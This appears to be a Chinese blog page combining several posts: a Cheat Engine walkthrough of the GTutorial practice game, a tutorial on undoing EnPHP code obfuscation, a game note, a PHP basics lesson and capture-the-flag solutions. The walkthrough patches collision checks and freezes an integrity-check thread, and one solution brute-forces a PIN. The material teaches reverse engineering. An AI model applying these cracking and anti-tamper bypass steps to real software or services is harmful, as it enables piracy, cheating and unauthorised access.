gtutorial-x86_64.exe+4098B - 48 63 93 88000000     - movsxd  rdx,dword ptr [rbx+00000088] { 读取已变绿平台数 }
gtutorial-x86_64.exe+40992 - 48 8B 43 30 - mov rax,[rbx+30]
gtutorial-x86_64.exe+40996 - 48 85 C0 - test rax,rax
gtutorial-x86_64.exe+40999 - 74 08 - je gtutorial-x86_64.exe+409A3
gtutorial-x86_64.exe+4099B - 48 8B 40 F8 - mov rax,[rax-08] { [rax-08] 为平台数组最大下标 }
gtutorial-x86_64.exe+4099F - 48 83 C0 01 - add rax,01 { 最大下标 + 1 即为总平台数 }
gtutorial-x86_64.exe+409A3 - 48 39 C2 - cmp rdx,rax { 比较已变绿平台数和总平台数 }
gtutorial-x86_64.exe+409A6 - 7C 17 - jl gtutorial-x86_64.exe+409BF
gtutorial-x86_64.exe+409A8 - 48 8B 43 60 - mov rax,[rbx+60] { 二级指针 }
gtutorial-x86_64.exe+409AC - C6 40 18 00 - mov byte ptr [rax+18],00 { 开门 }
gtutorial-x86_64.exe+409B0 - C6 43 7D 01 - mov byte ptr [rbx+7D],01 { 堵门 }
gtutorial-x86_64.exe+409B4 - 48 8B 43 68 - mov rax,[rbx+68]
gtutorial-x86_64.exe+409B8 - 48 89 83 80000000 - mov [rbx+00000080],rax
gtutorial-x86_64.exe+409BF - 48 83 7B 28 00 - cmp qword ptr [rbx+28],00 { 0 }

[rbx+00000088] 为已变绿平台数,而已变绿平台数的地址为 [["gtutorial-x86_64.exe"+37DC50]+760]+88,所以 rbx = [["gtutorial-x86_64.exe"+37DC50]+760]

所以可以求得开门地址为 [[["gtutorial-x86_64.exe"+37DC50]+760]+60]+18,堵门的地址为 [["gtutorial-x86_64.exe"+37DC50]+760]+7D

我们直接执行 mov byte ptr [rax+18],00 这条开门语句的内容就行了。手动添加开门地址,Byte 类型,然后修改为 0。这样我们躲过敌人就可以进门了,不用让平台变绿,也不会被堵住。

直接开门

请注意上面动画中,修改完数值之后右下角门的变化。

第 3 关尝试 10#

终于要到碰撞检测了。第 2 关中,我们让子弹直接忽略玩家,继续向前飞。第 3 关我们也可以让敌人忽略玩家,即使碰到了也不会死亡。

碰撞检测肯定会读取二者的 X、Y 坐标。查找访问敌人 Y 坐标的指令。

最开始只看到 1 条指令。

1
gtutorial-x86_64.exe+39DDE - F3 0F10 4B 28         - movss xmm1,[rbx+28]

但是查看附近代码的时候我看到 call qword ptr [gtutorial-x86_64.exe+3825E0] { ->opengl32.glTranslatef }

1
2
3
4
5
6
gtutorial-x86_64.exe+39DDE - F3 0F10 4B 28         - movss xmm1,[rbx+28]
gtutorial-x86_64.exe+39DE3 - F3 0F10 05 7D7F2400 - movss xmm0,[gtutorial-x86_64.exe+281D68] { (0.00) }
gtutorial-x86_64.exe+39DEB - 0F57 C8 - xorps xmm1,xmm0
gtutorial-x86_64.exe+39DEE - F3 0F10 43 24 - movss xmm0,[rbx+24]
gtutorial-x86_64.exe+39DF3 - F3 0F10 15 757F2400 - movss xmm2,[gtutorial-x86_64.exe+281D70] { (0.00) }
gtutorial-x86_64.exe+39DFB - FF 15 DF873400 - call qword ptr [gtutorial-x86_64.exe+3825E0] { ->opengl32.glTranslatef }

所以这个应该是在绘图指令前读取 Y 坐标,这个应该不是碰撞检测的代码。

我怀疑是不是碰撞检测和其他代码混在一起,所以只有一次读取。我沿着这个附近单步调试了很长时间。

终于,一次不经意间我发现问题了。请观察下面的动图。

访问左下敌人 Y 坐标的指令

原始的代码很可能是这样的。

1
2
3
4
5
6
7
8
9
float player_w_2 = player_w / 2.0f;
float enemy_w_2 = enemy_w / 2.0f;
if (enemy_x - enemy_w_2 < player_x + player_w_2 && player_x - player_w_2 < enemy_x + enemy_w_2) {
float player_h_2 = player_h / 2.0f;
float enemy_h_2 = enemy_h / 2.0f;
if (enemy_y - enemy_h_2 < player_y + player_h_2 && player_y - player_h_2 < enemy_y + enemy_h_2) {
// 碰撞
}
}

逻辑短路。如果 X 坐标不在敌人宽度范围内,那么直接就不用判断 Y 坐标了,就不会对 Y 坐标造成访问。

解决这个问题之后,我们又找到这条语句。

1
gtutorial-x86_64.exe+39B45 - F3 0F10 43 28         - movss xmm0,[rbx+28]

在周围分析一下。

1
2
3
4
5
6
7
8
9
10
11
12
gtutorial-x86_64.exe+39B26 - FF 90 E0000000        - call qword ptr [rax+000000E0] { movss xmm0,[100284490]
xmm0 = 0.1 }
gtutorial-x86_64.exe+39B2C - F3 0F10 4E 30 - movss xmm1,[rsi+30]
gtutorial-x86_64.exe+39B31 - F3 0F58 0D 1F822400 - addss xmm1,dword ptr [gtutorial-x86_64.exe+281D58] { (1.00) }
gtutorial-x86_64.exe+39B39 - F3 0F59 0D 1F822400 - mulss xmm1,[gtutorial-x86_64.exe+281D60] { (0.50) }
gtutorial-x86_64.exe+39B41 - F3 0F59 C8 - mulss xmm1,xmm0 { xmm1 = 0.5 * 0.1 }
gtutorial-x86_64.exe+39B45 - F3 0F10 43 28 - movss xmm0,[rbx+28] { 读取敌人 Y 坐标 }
gtutorial-x86_64.exe+39B4A - F3 0F5C C1 - subss xmm0,xmm1 { 减掉敌人高度的一半 }

......

gtutorial-x86_64.exe+39B56 - C3 - ret

跟踪这个函数的返回,你会发现一片新天地。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
gtutorial-x86_64.exe+3A72E - 48 89 CB              - mov rbx,rcx { rbx 为敌人指针 }
gtutorial-x86_64.exe+3A731 - 48 89 D6 - mov rsi,rdx
gtutorial-x86_64.exe+3A734 - 40 B7 00 - mov dil,00 { 0 }
gtutorial-x86_64.exe+3A737 - 83 7B 58 00 - cmp dword ptr [rbx+58],00 { 0 }
gtutorial-x86_64.exe+3A73B - 75 58 - jne gtutorial-x86_64.exe+3A795 { 如果 [rbx+58] != 0,则使用普通碰撞算法,否则使用简化碰撞算法 }
gtutorial-x86_64.exe+3A73D - 48 89 F1 - mov rcx,rsi { rsi 为玩家指针 }
gtutorial-x86_64.exe+3A740 - E8 6BFFFFFF - call gtutorial-x86_64.exe+3A6B0 { xmm0 = [rcx+44] 玩家碰撞半径 }
gtutorial-x86_64.exe+3A745 - 0F28 F0 - movaps xmm6,xmm0 { xmm6 = [rcx+44] 玩家碰撞半径 }
gtutorial-x86_64.exe+3A748 - 48 89 D9 - mov rcx,rbx { rbx 为敌人指针 }
gtutorial-x86_64.exe+3A74B - E8 60FFFFFF - call gtutorial-x86_64.exe+3A6B0 { xmm0 = [rcx+44] 敌人碰撞半径 }
gtutorial-x86_64.exe+3A750 - F3 0F10 4E 24 - movss xmm1,[rsi+24] { xmm1 = 玩家 X }
gtutorial-x86_64.exe+3A755 - F3 0F5C 4B 24 - subss xmm1,[rbx+24] { xmm1 = 玩家 X - 敌人 X }
gtutorial-x86_64.exe+3A75A - 0F54 0D 0F641E00 - andps xmm1,[gtutorial-x86_64.exe+220B70] { 取绝对值 }
gtutorial-x86_64.exe+3A761 - F3 0F59 C9 - mulss xmm1,xmm1 { 平方 }
gtutorial-x86_64.exe+3A765 - F3 0F10 56 28 - movss xmm2,[rsi+28] { xmm2 = 玩家 Y }
gtutorial-x86_64.exe+3A76A - F3 0F5C 53 28 - subss xmm2,[rbx+28] { xmm2 = 玩家 Y - 敌人 Y }
gtutorial-x86_64.exe+3A76F - 0F54 15 FA631E00 - andps xmm2,[gtutorial-x86_64.exe+220B70] { 取绝对值 }
gtutorial-x86_64.exe+3A776 - F3 0F59 D2 - mulss xmm2,xmm2 { 平方 }
gtutorial-x86_64.exe+3A77A - F3 0F58 D1 - addss xmm2,xmm1 { 相加 }
gtutorial-x86_64.exe+3A77E - F3 0F51 D2 - sqrtss xmm2,xmm2 { xmm2 = 敌人、玩家中心距离 }
gtutorial-x86_64.exe+3A782 - 0F28 CE - movaps xmm1,xmm6
gtutorial-x86_64.exe+3A785 - F3 0F58 C8 - addss xmm1,xmm0 { xmm1 = 敌人碰撞半径+玩家碰撞半径 }
gtutorial-x86_64.exe+3A789 - 0F2F CA - comiss xmm1,xmm2
gtutorial-x86_64.exe+3A78C - 40 0F97 C7 - seta dil
gtutorial-x86_64.exe+3A790 - E9 B4000000 - jmp gtutorial-x86_64.exe+3A849
gtutorial-x86_64.exe+3A795 - 83 7B 58 01 - cmp dword ptr [rbx+58],01 { 1 }
gtutorial-x86_64.exe+3A799 - 0F85 AA000000 - jne gtutorial-x86_64.exe+3A849 { 如果 [rbx+58] != 1 则不判断碰撞,前面已将 dil 设为 0 }
gtutorial-x86_64.exe+3A79F - 48 89 D9 - mov rcx,rbx
gtutorial-x86_64.exe+3A7A2 - 48 89 D8 - mov rax,rbx
gtutorial-x86_64.exe+3A7A5 - 48 8B 00 - mov rax,[rax]
gtutorial-x86_64.exe+3A7A8 - FF 90 F8000000 - call qword ptr [rax+000000F8] { xmm0 = 敌人 left }
gtutorial-x86_64.exe+3A7AE - 0F28 F0 - movaps xmm6,xmm0
gtutorial-x86_64.exe+3A7B1 - 48 89 F1 - mov rcx,rsi
gtutorial-x86_64.exe+3A7B4 - 48 89 F0 - mov rax,rsi
gtutorial-x86_64.exe+3A7B7 - 48 8B 00 - mov rax,[rax]
gtutorial-x86_64.exe+3A7BA - FF 90 00010000 - call qword ptr [rax+00000100] { xmm0 = 玩家 right }
gtutorial-x86_64.exe+3A7C0 - 0F2F C6 - comiss xmm0,xmm6
gtutorial-x86_64.exe+3A7C3 - 0F8A 7D000000 - jp gtutorial-x86_64.exe+3A846
gtutorial-x86_64.exe+3A7C9 - 0F86 77000000 - jbe gtutorial-x86_64.exe+3A846
gtutorial-x86_64.exe+3A7CF - 48 89 F1 - mov rcx,rsi
gtutorial-x86_64.exe+3A7D2 - 48 89 F0 - mov rax,rsi
gtutorial-x86_64.exe+3A7D5 - 48 8B 00 - mov rax,[rax]
gtutorial-x86_64.exe+3A7D8 - FF 90 F8000000 - call qword ptr [rax+000000F8] { xmm0 = 玩家 left }
gtutorial-x86_64.exe+3A7DE - 0F28 F0 - movaps xmm6,xmm0
gtutorial-x86_64.exe+3A7E1 - 48 89 D9 - mov rcx,rbx
gtutorial-x86_64.exe+3A7E4 - 48 89 D8 - mov rax,rbx
gtutorial-x86_64.exe+3A7E7 - 48 8B 00 - mov rax,[rax]
gtutorial-x86_64.exe+3A7EA - FF 90 00010000 - call qword ptr [rax+00000100] { xmm0 = 敌人 right }
gtutorial-x86_64.exe+3A7F0 - 0F2F C6 - comiss xmm0,xmm6
gtutorial-x86_64.exe+3A7F3 - 7A 51 - jp gtutorial-x86_64.exe+3A846
gtutorial-x86_64.exe+3A7F5 - 76 4F - jna gtutorial-x86_64.exe+3A846
gtutorial-x86_64.exe+3A7F7 - 48 89 D9 - mov rcx,rbx
gtutorial-x86_64.exe+3A7FA - 48 89 D8 - mov rax,rbx
gtutorial-x86_64.exe+3A7FD - 48 8B 00 - mov rax,[rax]
gtutorial-x86_64.exe+3A800 - FF 90 08010000 - call qword ptr [rax+00000108] { xmm0 = 敌人 top }
gtutorial-x86_64.exe+3A806 - 0F28 F0 - movaps xmm6,xmm0
gtutorial-x86_64.exe+3A809 - 48 89 F1 - mov rcx,rsi
gtutorial-x86_64.exe+3A80C - 48 89 F0 - mov rax,rsi
gtutorial-x86_64.exe+3A80F - 48 8B 00 - mov rax,[rax]
gtutorial-x86_64.exe+3A812 - FF 90 10010000 - call qword ptr [rax+00000110] { xmm0 = 玩家 bottom }
gtutorial-x86_64.exe+3A818 - 0F2F C6 - comiss xmm0,xmm6
gtutorial-x86_64.exe+3A81B - 7A 29 - jp gtutorial-x86_64.exe+3A846
gtutorial-x86_64.exe+3A81D - 76 27 - jna gtutorial-x86_64.exe+3A846
gtutorial-x86_64.exe+3A81F - 48 89 F1 - mov rcx,rsi
gtutorial-x86_64.exe+3A822 - 48 8B 06 - mov rax,[rsi]
gtutorial-x86_64.exe+3A825 - FF 90 08010000 - call qword ptr [rax+00000108] { xmm0 = 玩家 top }
gtutorial-x86_64.exe+3A82B - 0F28 F0 - movaps xmm6,xmm0
gtutorial-x86_64.exe+3A82E - 48 89 D9 - mov rcx,rbx
gtutorial-x86_64.exe+3A831 - 48 8B 03 - mov rax,[rbx]
gtutorial-x86_64.exe+3A834 - FF 90 10010000 - call qword ptr [rax+00000110] { xmm0 = 敌人 bottom }
gtutorial-x86_64.exe+3A83A - 0F2F C6 - comiss xmm0,xmm6
gtutorial-x86_64.exe+3A83D - 7A 07 - jp gtutorial-x86_64.exe+3A846
gtutorial-x86_64.exe+3A83F - 76 05 - jna gtutorial-x86_64.exe+3A846
gtutorial-x86_64.exe+3A841 - 40 B7 01 - mov dil,01 { 碰撞设置 dil 为 1 }
gtutorial-x86_64.exe+3A844 - EB 03 - jmp gtutorial-x86_64.exe+3A849
gtutorial-x86_64.exe+3A846 - 40 B7 00 - mov dil,00 { 0 }
gtutorial-x86_64.exe+3A849 - 40 0FB6 C7 - movzx eax,dil { 碰撞函数返回值为 eax }
gtutorial-x86_64.exe+3A84D - 90 - nop
gtutorial-x86_64.exe+3A84E - 66 0F6F 74 24 20 - movdqa xmm6,[rsp+20]
gtutorial-x86_64.exe+3A854 - 48 8D 64 24 30 - lea rsp,[rsp+30]
gtutorial-x86_64.exe+3A859 - 5E - pop rsi
gtutorial-x86_64.exe+3A85A - 5F - pop rdi
gtutorial-x86_64.exe+3A85B - 5B - pop rbx
gtutorial-x86_64.exe+3A85C - C3 - ret

上面是完整的碰撞算法分析。

其实并没有这么麻烦,我们只需要知道返回值是 eax,如果 eax == 1 则表示碰撞,eax == 0 则表示未碰撞。

我们跟踪 ret 返回。

1
2
3
4
5
6
7
8
gtutorial-x86_64.exe+4093A - FF 90 28010000        - call qword ptr [rax+00000128] { eax = 是否碰撞 }
gtutorial-x86_64.exe+40940 - 84 C0 - test al,al
gtutorial-x86_64.exe+40942 - 74 11 - je gtutorial-x86_64.exe+40955 { eax == 0 则跳转 }
gtutorial-x86_64.exe+40944 - 48 8B 4B 28 - mov rcx,[rbx+28]
gtutorial-x86_64.exe+40948 - 48 8B 43 28 - mov rax,[rbx+28]
gtutorial-x86_64.exe+4094C - 48 8B 00 - mov rax,[rax]
gtutorial-x86_64.exe+4094F - FF 90 20010000 - call qword ptr [rax+00000120] { 碰撞之后执行的事件 }
gtutorial-x86_64.exe+40955 - 48 8B 53 38 - mov rdx,[rbx+38]

je 修改成 jmp 即可。

取消碰撞检测

第 3 关尝试 11#

如果 [rbx+58] != 0,则使用普通碰撞算法,否则使用简化碰撞算法,如果 [rbx+58] != 1 则不判断碰撞。所以我们可以令 [rbx+58] = 2 这样两个碰撞就都没了。

手动添加 [[[["gtutorial-x86_64.exe"+37DC50]+760]+38]+0]+58,4 字节,设置为 2

隐藏问题#

你有没有注意到你执行代码注入以后标题栏会由 Step 2 变成 Step 2 (Integrity check error)

完整性检查错误

游戏中内置的检测工具发现你修改了他们的程序指令。怎么办呢?

他们是怎么检测的呢?

原理很简单,就是比较代码区域的内存。

避免被发现的方法并不是如何伪造内存让他们别发现。通常检测程序运行在另一个线程,直接关掉那个线程就行了。

首先在地址列表中手动添加我们刚才修改的地址 gtutorial-x86_64.exe+3F6A3,然后查找谁在访问这个地址。

一般正常的程序不会访问程序代码部分的内存的,他们运行所要的数据和都在常量区、全局变量区、堆、栈中,代码区是额外的一个区域,他们之间都是隔离开的。要访问程序自己的代码区的程序都不是正常的程序。

我这里找到了 3 个,然后选择其中一个(我这里就选第一个了)

完整性检查指令

Show disassembler,然后下断点。

完整性检查下断点

然后我们需要做的就是记住标题上的线程编号。然后在 Memory ViewerViewThreadlist → 右键点击刚才的线程编号 → Freeze thread

冻结线程

通过完整性检查

你打败了 3 个“游戏”,并且你打败了完整性检查!

干的真的漂亮!

总结#

本文通过 3 个小游戏的二十多种思路,向你展示了很多破解思路。

您应该学习并理解这种思路,主要是如何通过内存地址找代码,如果通过代码找内存地址。

本文还讲述了一些小技巧,如何搜索坐标这种未知数值的内存数据。

最后简单讲解了内存校验的原理与简易破解方法。

希望您不仅能从本文中学到 Cheat Engine 工具的使用方法,还能学到更广阔的破解思想。

最后如果你想继续研究,你可以对照 GTutorial 源代码 进行研究,看看原作者的注释,你能看到他给你预留了很多变量用于破解。

如果您有任何疑问欢迎在评论区留言。

2019 年 3 月 29 日 Ganlv

相关链接#

PHP 解密:EnPHP 混淆加密

EnPHP#

下面两段话摘录自 EnPHP 官方网站

加密、混淆#

EnPHP 支持加密混淆 PHP 代码。

EnPHP 可以对函数、参数、变量、常量以及内嵌 HTML 代码进行加密、混淆。

支持不同的加密强度、混淆方式

EnPHP 可以破解吗?#

代码,机器能解析就能还原,您使用任何一个加密工具都会有这个风险,理论上 EnPHP 被还原代码部分是可以的,但是 EnPHP 主打是的混淆+加密,打散、混淆才是 EnPHP的核心,EnPHP 是根据语法进行打散和混淆的,就算解密后,也是不可能还原变量名的!!!除非重新读一遍代码,将变量重新写上去。所以,那些所谓破解,是不可能还原语法和变量名的。如果您需要高强度的加密,可以联系管理员订制化加密。

我们的结论#

我们应该是能还原代码的,但是不能还原变量名、函数名、方法名。如果想还原成原始代码是不可能了,但是如果只是想改一个注册码验证之类的,应该还是比较简单的。

分析过程#

简单分析一下原理#

我使用 VSCode 打开这个文件,这个文件全都是不可读字符,如果用 UTF-8 来显示的话很不友好。

使用 Ctrl + Shift + P 打开快捷指令,输入 encoding,选择用 Change File Encoding,选择 Reopen with Encoding,选择 Western (Windows 1252)。

Windows 1252 是个单字节的字节集,不会出现任何 2 个字节被显示成 1 个字符的问题,其他的单字节集通常也可以。

我们只看代码部分,不看乱码部分。

代码概况

1
2
3
4
5
6
7
error_reporting(E_ALL ^ E_NOTICE);
define('字符串1', '字符串2');
一堆乱码1;
$GLOBALS[字符串1] = explode('字符串3', gzinflate(substr('字符串4', 0x0a, -8)));
一堆乱码2;
include $GLOBALS{字符串1}[0];
include $GLOBALS{字符串1}{0x001}(__FILE__) . $GLOBALS{字符串1}[0x0002];

解释一下我们分析出来的代码的含义

  1. 抑制错误显示
  2. 定义一个全局常量作为被加密字符串储存的名称
  3. 一个不知道什么常量,毫无意义
  4. gzinflate 就是 gzip 解压缩,把一个二进制的字节串还原成原始字符串,并用 explode 分成一堆小字符串。
  5. 一个不知道什么常量,毫无意义
  6. $GLOBALS{字符串1} 就是那一堆小字符串的储存位置,从中提取出第一个元素 $GLOBALS{字符串1}[0] 就是我们要还原的内容了。

PHP-Parser#

既然是乱码,我们又得请出我们的重量级选手了 PHP-Parser

这个库的作者是 nikic,其实他是 PHP 核心开发组的人员,这个解释器真的堪称完美。

新建一个文件夹作为这个工程的文件夹

创建 Composer 文件,安装 PHP-Parser

1
2
composer init
composer require nikic/php-parser

然后新建一个 index.php 先把 AST 解析写好。

这个初始代码来自 https://github.com/nikic/php-parser#quick-start

看乱码我用 VSCode,但是写代码我还是选择 PHPStorm。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<?php
use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;

require 'vendor/autoload.php';

$code = file_get_contents(__DIR__ . '/tests//images/2019-03-14-enphp-decode/admin.php');

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);

try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}

$dumper = new NodeDumper;
echo $dumper->dump($ast) . "\n";

找出有用的参数#

我们必须从 AST 中把有用信息提取出来。

什么是有用的呢?

就是上面的字符串 1、3、4,不包括字符串 2,因为代码中根本就没用到,他只是一个临时的变量名称。还有 substr 的参数 0x0a-8

我们根据他在 AST 中的位置编写代码

1
2
3
4
5
$str1 = $ast[1]->expr->args[0]->value->value;
$str3 = $ast[3]->expr->expr->args[0]->value->value;
$str4 = $ast[3]->expr->expr->args[1]->value->args[0]->value->args[0]->value->value;
$int1 = $ast[3]->expr->expr->args[1]->value->args[0]->value->args[1]->value->value;
$int2 = -$ast[3]->expr->expr->args[1]->value->args[0]->value->args[2]->value->expr->value;

如何知道他的位置?

代码调试 1

代码调试 2

调试必须得配置好 XDebug,配置过程请自行百度。

代码调试 3

然后就可以得到 $ast[1]->expr->args[0]->value->value 这个了。

先看看解密之后的字符串是什么样子的#

在原来的代码之后添加

1
2
$string_array = explode($str3, gzinflate(substr($str4, $int1, $int2)));
print_r($string_array);

再次调试,看调试输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Array
(
[0] => config.php
[1] => dirname
[2] => /../include/class.db.php
[3] => filter_has_var
[4] => type
[5] => json_encode
[6] => success
[7] => icon
[8] => m
[9] => 请勿非法调用!
[10] => filter_input
......
[152] => id错误,没有找到id!
[153] => ua
[154] => Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
[155] => curl
)

的确不出所料,我们要的字符串都出来了。

逐步还原#

我们需要把代码中所有的 $GLOBALS{字符串1}[0],都换成原来的字符串。

我们需要用到 NodeTraverser 了,他负责遍历 AST 的每一个节点

当他发现任何一个 Node 是下面这种结构的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Expr_ArrayDimFetch(
var: Expr_ArrayDimFetch(
var: Expr_Variable(
name: GLOBALS
)
dim: Expr_ConstFetch(
name: Name(
parts: array(
0: �
)
)
)
)
dim: Scalar_LNumber(
value: 0
)
)

他将直接把这个 Node 替换成

1
2
3
Scalar_String(
value: $string_array[0]
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class GlobalStringNodeVisitor extends NodeVisitorAbstract
{
protected $globalVariableName;
protected $stringArray;

public function __construct($globals_name, $string_array)
{
$this->globalVariableName = $globals_name;
$this->stringArray = $string_array;
}

public function leaveNode(Node $node)
{
if ($node instanceof Node\Expr\ArrayDimFetch
&& $node->var instanceof Node\Expr\ArrayDimFetch
&& $node->var->var instanceof Node\Expr\Variable
&& $node->var->var->name === 'GLOBALS'
&& $node->var->dim instanceof Node\Expr\ConstFetch
&& $node->var->dim->name instanceof Node\Name
&& $node->var->dim->name->parts[0] === $this->globalVariableName
&& $node->dim instanceof Node\Scalar\LNumber
) {
return new Node\Scalar\String_($this->stringArray[$node->dim->value]);
}
return null;
}
}

$nodeVisitor = new GlobalStringNodeVisitor($str1, $string_array);
$traverser = new NodeTraverser();
$traverser->addVisitor($nodeVisitor);
$ast = $traverser->traverse($ast);

$prettyPrinter = new Standard;
echo $prettyPrinter->prettyPrintFile($ast);

运行结果

初步运行结果 1

美化代码#

我们看到 ('dirname')(__FILE__) 这种代码不太符合正常代码书写习惯,我们需要把它改成 dirname(__FILE__)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class BeautifyNodeVisitor extends NodeVisitorAbstract
{
public function enterNode(Node $node)
{
if ($node instanceof Node\Expr\FuncCall
&& $node->name instanceof Node\Scalar\String_) {
$node->name = new Node\Name($node->name->value);
}
return null;
}
}

$nodeVisitor = new BeautifyNodeVisitor();
$traverser = new NodeTraverser();
$traverser->addVisitor($nodeVisitor);
$ast = $traverser->traverse($ast);

运行结果

代码美化

函数内部字符串#

前面全局部分的代码看上去还不错,但是后面的函数内部代码还是有些乱码

初步运行结果 2

它使用一个 $局部变量1 =& $GLOBALS[字符串1] 把这个全局变量变成局部变量了,我们必须遍历所有函数,把这些字符串替换掉。

原理就是发现 $局部变量1 =& $GLOBALS[字符串1] 则把 局部变量1 保存下来,之后再发现 $局部变量1[0] 则替换成 $string_array[0]

(代码较长,此处省略)

运行结果

函数内字符串

函数局部变量名#

这里的原理就是把所有参数名统一替换成 $arg0, $arg1,所有变量名统一替换成 $v0, $v1

(代码较长,此处省略)

类的方法#

由于样例文件中没有包含类的方法,所以对类方法变量名的去除乱码可能并不是很好。

去除无用常量语句#

这个代码里面有一堆无用的调用常量的语句,完全不知道是干什么的,毫无意义,去掉。

(代码较长,此处省略)

最终结果

自动寻找全局字符串变量#

1
2
3
4
5
$str1 = $ast[1]->expr->args[0]->value->value;
$str3 = $ast[3]->expr->expr->args[0]->value->value;
$str4 = $ast[3]->expr->expr->args[1]->value->args[0]->value->args[0]->value->value;
$int1 = $ast[3]->expr->expr->args[1]->value->args[0]->value->args[1]->value->value;
$int2 = -$ast[3]->expr->expr->args[1]->value->args[0]->value->args[2]->value->expr->value;

这个代码用的是固定的 $ast[1], $ast[3],但是实际上他并不一定总是 13,所以我们做得适用性强一些。自动寻找

1
$GLOBALS[globalVarName] = explode('delimiter', gzinflate(substr('data', start, -length)))

这个句话的位置。

总结#

只有局部变量的变量名不能还原。

其他所有的标识符(函数名、类名、方法名、函数调用、常量名)、字符串、数字全部都能成功还原。

代码结构完全没有加密,只需替换被混淆的名称即可。

相关链接#

捉住小猫游戏

游戏引擎 813 KiB (219 KiB gziped),游戏 76 KiB (15 KiB gziped)

游戏的思路和小猫的图片来源于 www.gamedesign.jp,原来的游戏名叫 Chat Noir。

我尝试使用 Phaser 3 游戏引擎,用 JavaScript 仿了一遍,体验一下 HTML 5 小游戏的开发流程。

游戏玩法#

  • 点击小圆点,围住小猫。
  • 你点击一次,小猫走一次。
  • 直到你把小猫围住(赢),或者小猫走到边界并逃跑(输)。

注意:并不一定每一局你都有可能获胜,能否获胜与开始生成的地形有关,有的地形可能根本没有赢的可能性。

其他玩法#

你还可以自己编写小猫的算法,来让小猫的判断能力变得更强。

自带的算法是挑选距离边缘最近的路。玩几把你就会发现小猫的规律,然后骗自带算法小猫掉入你的陷阱。

技术特色#

Phaser 3 本身不支持在代码中内联 SVG 图片代码,所有的图片资源必须通过 XHR 在线获取,所以我使用 FakeXMLHttpRequest,自己实现了一个 SVG 的 Loader,这样就可以把 SVG 图片通过 webpackraw-loader 直接内联到 JavaScript 中,相当于把图片打包在 js 中了,便于分发。

附录#

在线游戏链接

PHP Tutorial 02 - PHP Basic Syntax

本部分讲解基础语法

这些只是基础语法,并不是全部语法,使用这些语法你就可以编写简单的网站了。

我不推荐直接学习完整语法,有些语法看上去是多余的,没有具体的环境,体现不出这些语法的美妙之处,之后我们讲框架的时候会将另外的一部分语法。

基础语法其实就是面向过程编程要用到的语法

  • php 标签
  • 类型
  • 变量
  • 常量
  • 表达式
  • 运算符
  • 流程控制
  • 函数
  • Errors
  • 异常处理
  • 引用的解释
  • 预定义变量
  • 预定义异常
  • 预定义接口

(摘录自 http://php.net/manual/zh/

实例#

这里基于实例来学习语法,而不是分离开单独讲每一个语法。

准备阶段#

  1. 在桌面上新建一个 index.php
  2. 按住 Shift,在桌面上点击鼠标右键,选择在此处打开命令窗口(或者在此处打开 PowerShell 窗口)
  3. 执行 php -S 127.0.0.1:8000

实例 1:php 标签#

上一篇文章中讲到的两种 Hello, world! 写法

代码片段 1

1
Hello, world!

代码片段 2

1
2
<?php
echo 'Hello, world!';

第二种写法其实是一种简略写法,完整的写法是

代码片段 3

1
2
3
<?php
echo 'Hello, world!';
?>

<?php?> 是一对 标记 ,他们之间的内容是 php 代码 ,没有被他们括住的代码都是 原样输出 的,比如代码片段 1,就是直接输出 Hello, world! 这句话。

如果你的 ?> 之后没有任何其他原样输出的内容了,那么这个结束标签可以省略,并且 php 推荐省略掉结束标签,防止结尾多输出多余的空格、回车之类的。

php 会忽略 php 代码中多余的空格、回车等等“空白字符”(Whitespaces)

代码片段 4

1
<?php echo 'Hello, world!'; ?>

这样写成写成一行完全没有问题,不过还是推荐大家把 PHP 开始结束标签写在单独一行中。

代码片段 5

1
Hello, <?php echo 'world'; ?>!

现在你能明白这句话的意思吗?

原样输出 Hello,,然后通过 echo 输出 world,再原样输出 !

代码片段 6

1
Hello, <?= 'world' ?>!

当 php 代码段中只有一个 echo 语句的时候,可以简化成短标签。不过官方没有推荐使用短标签。

由于 php 可以通过配置文件禁止使用短标签,所以为了保证代码可用,最好不要使用短标签。

实例 2:变量#

1
2
3
<?php
echo 'Hello, world!';
?>

上面这个代码似乎没有任何作用啊,所谓应用程序,至少要能根据不同输入给出相应输出,这个程序连个输入都没有有什么用啊。

1
2
3
4
<?php
$name = 'world';
echo 'Hello, ', $name, '!';
?>

$name

php 不需要事先声明就可以使用变量。或者说,如果变量不存在,程序会自动声明一个。

和 C 语言那种想使用变量必须定义不同,不需要声明变量会简化我们编写的代码,写代码效率更高。但是万一你写错一个字母,用了一个没有声明过的变量,有些时候就会变得难以检查错误。不过,随着 PHPStorm 这类 IDE 大量的即时代码检查,这类错误可以被尽早发现,不用纠结这个问题了。

未完待续

Can you HACK it?

https://hack.ainfosec.com/

This is a HACKING CHALLENGE website.

Programming#

Post Decrement (10 Points)#

1
2
3
4
int i = 5;
while (i-- > 0) {
printf("%d,", i);
}

What’s the output for the code snippet above?

Solution 1-1#

1
4,3,2,1,0,

Brutal Force (50 Points)#

Brute force programming challenge. Brute force the PIN.

Submit the correct PIN to proceed (3 - 4 digits long).

Console message:

To submit a pin here, use the BrutalForce_submit(pin) function

Solution 1-2#

1
2
3
for (let i = 100; i < 10000; i++) {
BrutalForce_submit(i);
}

Code Breaker (300 Points)#

Break the alpha-numeric code like in spy movies.
Each guess returns a score.
The higher the score the more characters you have correct and in the correct position.

Submit your guesses (code is 7 alpha-numeric characters long).

Console message:

To submit here, use the CodeBreaker_submit(code) function.
It will return a promise that will resolve with the score of the submission.

Solution 1-3#

  1. Try pin like aaaaaaa for all characters in [0-9A-Za-z], find out what chars are in the answer

